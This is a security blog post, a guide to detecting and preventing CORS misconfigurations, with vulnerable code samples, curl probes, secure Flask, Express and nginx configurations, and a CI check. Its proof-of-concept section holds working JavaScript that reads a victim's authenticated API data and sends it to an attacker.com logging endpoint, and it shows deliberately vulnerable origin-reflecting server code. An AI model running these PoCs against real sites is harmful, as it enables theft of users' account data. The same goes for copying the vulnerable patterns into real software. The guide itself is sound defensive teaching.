剣 KENSAI
← All posts · security · 2026-04-03 · 3 min

CORS Misconfiguration Vulnerability: Complete Guide to Detection and Prevention

CORS misconfigurations are one of the most consistently rewarded vulnerabilities in bug bounty programs — and one of the most underestimated. A single misconfigured Access-Control-Allow-Origin header can expose every authenticated API endpoint to attacker-controlled domains.

~35%
Web Apps with CORS Issues
$3K+
Avg Bug Bounty Payout
Critical
When Credentials Exposed
OWASP A05
Security Misconfiguration

What is CORS and Why Does It Matter?

ℹ️ The Same-Origin Policy

By default, browsers enforce the Same-Origin Policy (SOP): JavaScript running on attacker.com cannot read responses from bank.com. CORS is the mechanism that relaxes this restriction — and when misconfigured, it can completely undermine the SOP.

Cross-Origin Resource Sharing (CORS) is an HTTP-header-based mechanism that allows a server to indicate which origins (domain + scheme + port) other than its own are permitted to read its responses. When a browser makes a cross-origin request, it enforces the server's CORS policy.

The critical headers to understand:

⚠️ The Dangerous Combination

The most critical vulnerability occurs when a server returns both Access-Control-Allow-Origin: [attacker-controlled] AND Access-Control-Allow-Credentials: true. This means attackers can make authenticated requests from their site and read the responses.


CORS Misconfiguration Patterns

1. Wildcard with Credentials (Impossible by Spec, Often Attempted)

Browsers reject Access-Control-Allow-Origin: * combined with credentials. Developers often try this and then "fix" it by reflecting the origin dynamically — creating a worse vulnerability.

2. Reflecting the Origin Header Blindly

# Vulnerable server-side logic (Python/Flask)
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin  # NEVER DO THIS
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Any origin can now read authenticated responses. This is the most common CORS vulnerability found in bug bounties.

3. Weak Origin Validation (Substring/Regex Bypass)

# Vulnerable: checks if trusted domain appears ANYWHERE in origin
if 'trusted-bank.com' in request.headers.get('Origin', ''):
    # Bypass: attacker registers evil-trusted-bank.com or trusted-bank.com.evil.com
    allow_origin(origin)

4. Null Origin Trust

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

The null origin can be triggered via sandboxed iframes, redirects, and file:// URLs. Attackers can craft pages that send requests with Origin: null.

5. Subdomain Wildcard Without TLD Anchoring

# Meant to allow *.company.com but also allows evil.company.com.attacker.com
if origin.endswith('.company.com'):
    allow_origin(origin)

6. Pre-flight Cache Poisoning

When Access-Control-Max-Age is set, cached pre-flight responses can be exploited if the origin validation logic changes without cache invalidation.


Detection: Finding CORS Misconfigurations

Manual Detection with curl

# Test 1: Basic reflection check
curl -s -I -H "Origin: https://evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 2: Null origin
curl -s -I -H "Origin: null" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 3: Subdomain bypass
curl -s -I -H "Origin: https://target.com.evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 4: Pre-domain bypass
curl -s -I -H "Origin: https://eviltarget.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

Automated Detection with Corsy

# Install and run Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10

# Scan a list of URLs
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"

Burp Suite Detection

In Burp Suite Pro, the Active Scanner tests for CORS misconfigurations automatically. For manual testing, use the CORS* extension from the BApp Store. Steps:

  1. Capture a request with Burp Proxy
  2. Send to Repeater
  3. Add Origin: https://evil.com header
  4. Check if response reflects origin in Access-Control-Allow-Origin
  5. Check if Access-Control-Allow-Credentials: true is also present

What to Look For in Responses

ResponseSeverityExploitable?
ACAO: *Low-MediumOnly without credentials
ACAO: [evil origin] onlyMediumWithout credentials
ACAO: [evil origin] + ACAC: trueCriticalYes — full credential theft
ACAO: null + ACAC: trueHighVia sandboxed iframe

Proof of Concept: Exploiting CORS Misconfiguration

⚠️ For Educational Purposes Only

The following PoC demonstrates the impact of CORS misconfigurations. Only test against applications you own or have explicit written permission to test.

Basic CORS PoC (Read Sensitive Data)

<!-- Hosted on attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
  credentials: 'include',  // Sends cookies
  mode: 'cors'
})
.then(r => r.text())
.then(data => {
  // Exfiltrate to attacker's server
  fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blocked:', e));
</script>

Null Origin PoC (Sandboxed Iframe)

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="<script>
  fetch('https://victim.com/api/userdata', {credentials:'include'})
  .then(r=>r.text())
  .then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>

<script>
window.addEventListener('message', e => {
  fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>

Subdomain Takeover + CORS Chaining

If a trusted subdomain (e.g., legacy.victim.com) is available for takeover and the API trusts *.victim.com, combining subdomain takeover with CORS creates a critical impact chain.


Real-World CORS Vulnerabilities

Case Study: Major E-commerce Platform ($12,500 Bounty)

📋 Scenario

A researcher discovered that the payment API endpoint /api/v2/payment-methods reflected any origin header with credentials. By hosting a malicious page on a look-alike domain, they could silently read victims' saved credit card metadata (last 4 digits, expiry, billing address) and account balance when the victim visited the attacker's page.

Case Study: Healthcare Portal (Critical)

⚠️ Patient Data at Risk

A healthcare company's patient portal accepted requests from null origins. The internal admin API used the same CORS policy as the patient-facing API. An attacker's sandboxed iframe could read PHI (Protected Health Information) from authenticated sessions — a direct HIPAA violation.

Notable Disclosed CORS Bugs

CompanyVulnerabilityPayout
ShopifyOrigin reflection in merchant API$25,000
UberWildcard subdomain trust$3,000
YahooNull origin acceptance$2,500
StarbucksPre-domain bypass$4,000

Prevention: Hardening CORS Configurations

Allowlist-Based Origin Validation (Correct Approach)

# Python/Flask - Secure Implementation
ALLOWED_ORIGINS = {
    'https://app.company.com',
    'https://admin.company.com',
    'https://company.com'
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'  # Critical for caching!
    return response
// Node.js/Express - Secure Implementation
const allowedOrigins = new Set([
  'https://app.company.com',
  'https://company.com'
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

Nginx CORS Configuration

# nginx.conf - Secure CORS
map $http_origin $cors_origin {
    default "";
    "https://app.company.com" $http_origin;
    "https://company.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin) {
            add_header 'Access-Control-Allow-Origin' $cors_origin always;
            add_header 'Access-Control-Allow-Credentials' 'true' always;
            add_header 'Vary' 'Origin' always;
        }
        # Never use: add_header 'Access-Control-Allow-Origin' '*';
    }
}

CORS Security Checklist

  • Never use wildcard (*) with credentials
  • Use an explicit allowlist — never reflect the Origin header directly
  • Validate the complete origin (scheme + domain + port)
  • Never trust the null origin in production
  • Always include Vary: Origin header when dynamically setting ACAO
  • Apply principle of least privilege — only expose necessary endpoints cross-origin
  • For internal APIs, consider disabling CORS entirely (not needed if same-origin)
  • Test with Corsy or Burp Suite as part of CI/CD

CORS vs CSRF: Understanding the Difference

ℹ️ Common Confusion

CSRF exploits the browser's automatic cookie sending for state-changing requests (writes). The attacker doesn't need to read the response. CORS misconfigurations allow attackers to read cross-origin responses. Both require the victim to be authenticated. CORS does NOT protect against CSRF — use CSRF tokens for that.

Testing CORS in Your CI/CD Pipeline

# Add to your security pipeline (e.g., GitHub Actions)
- name: CORS Security Scan
  run: |
    # Test critical endpoints
    for endpoint in /api/user /api/account /api/payments; do
      response=$(curl -s -I \
        -H "Origin: https://evil-test-domain.com" \
        "https://${{ env.TARGET_URL }}$endpoint")
      
      if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
        echo "CORS MISCONFIGURATION DETECTED: $endpoint"
        exit 1
      fi
    done
    echo "CORS check passed"